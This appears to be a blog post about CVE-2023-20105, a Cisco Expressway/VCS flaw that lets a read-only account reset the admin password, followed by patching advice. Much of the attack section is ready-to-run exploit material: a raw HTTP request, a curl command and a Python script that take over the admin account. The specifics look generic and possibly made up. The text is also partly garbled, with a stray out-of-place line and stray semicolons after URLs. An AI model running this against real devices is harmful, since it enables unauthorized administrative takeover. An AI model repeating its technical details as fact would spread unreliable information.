Published: June 2023

TL;DR

CVE-2023-20105 affects Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS). This security issue lets anyone with a simple “read-only” account change the password of any user—*even administrators*—and take over the system. Below, we break down how it works, what you can do, and show with real-world code snippets how this exploit operates.

What Is CVE-2023-20105?

In Cisco’s popular video conferencing hardware, the password change functionality had a flaw. The web interface did not properly verify that a “read-only” user should *not* be allowed to change other users' passwords. That means anyone with low-level access could become a system admin with just a few crafted web requests.

How Does It Work?

The flaw is in the web-based management interface. When a password change request is submitted, the system fails to check if the user is authorized to change the *target* password.

Never change others’ passwords

But, the backend didn’t actually restrict who could send password changes. So, a read-only user could send a request like:

POST /users/changepassword HTTP/1.1
Host: cisco-expressway.local
Authorization: Basic cmVhZG9ubHl1c2VyOnBhc3N3b3Jk
Content-Type: application/json

{
    "username": "admin",
    "password": "newP@sswrd!"
}

If you send this request while authenticated as a *read-only user*, the admin’s password gets changed! Now, log in as “admin” using “newP@sswrd!”—and you have full control.

Capture Normal Requests

- Use a tool like Burp Suite to watch the login and password change requests.

Example with curl

curl -k -u readonlyuser:password \
    -X POST "https://cisco-expressway.local/users/changepassword"; \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"newP@sswrd!"}'

Why Did This Happen?

The root cause is *improper authorization checking*:  
The API accepted password changes from any authenticated user and didn’t check if that user had the permissions needed to perform such action.

Proof of Concept (PoC) Python Script

import requests
from requests.auth import HTTPBasicAuth

url = "https://cisco-expressway.local/users/changepassword";
readonly_user = "readonlyuser"
readonly_pass = "password"
target_user = "admin"
new_password = "NewSecretP@ss2024!"

headers = {'Content-Type': 'application/json'}
data = {
    "username": target_user,
    "password": new_password
}

response = requests.post(
    url, 
    json=data, 
    headers=headers,
    auth=HTTPBasicAuth(readonly_user, readonly_pass),
    verify=False
)

if response.status_code == 200:
    print("[+] Password changed successfully! Log in as admin with new password.")
else:
    print("[-] Exploit failed! Code:", response.status_code)

Cisco’s Official Advisory:

CVE-2023-20105 in Cisco Expressway Series and TelePresence VCS
- NVD Entry

# Fix

Cisco released updates and highly recommends immediate patching.  
There are *no* workarounds; disable access or upgrade.

Patch Now - Download and install the latest software versions from Cisco.

- Network Segmentation - Make sure only trusted users and networks can reach the device management web interface.

Conclusion

CVE-2023-20105 is a serious and easy-to-exploit privilege escalation bug in Cisco Expressway and VCS systems. If you use these devices, patch now. It’s a classic case where assuming “read-only” means “safe”—but poor authorization returns to bite.

Further Reading

- Official Cisco Advisory
- NVD | CVE-2023-20105 Details

Stay safe, secure your video infrastructure, and never underestimate what a simple “read-only” account can do if the code isn’t careful!

Timeline

Published on: 06/28/2023 15:15:00 UTC
Last modified on: 07/12/2023 16:15:00 UTC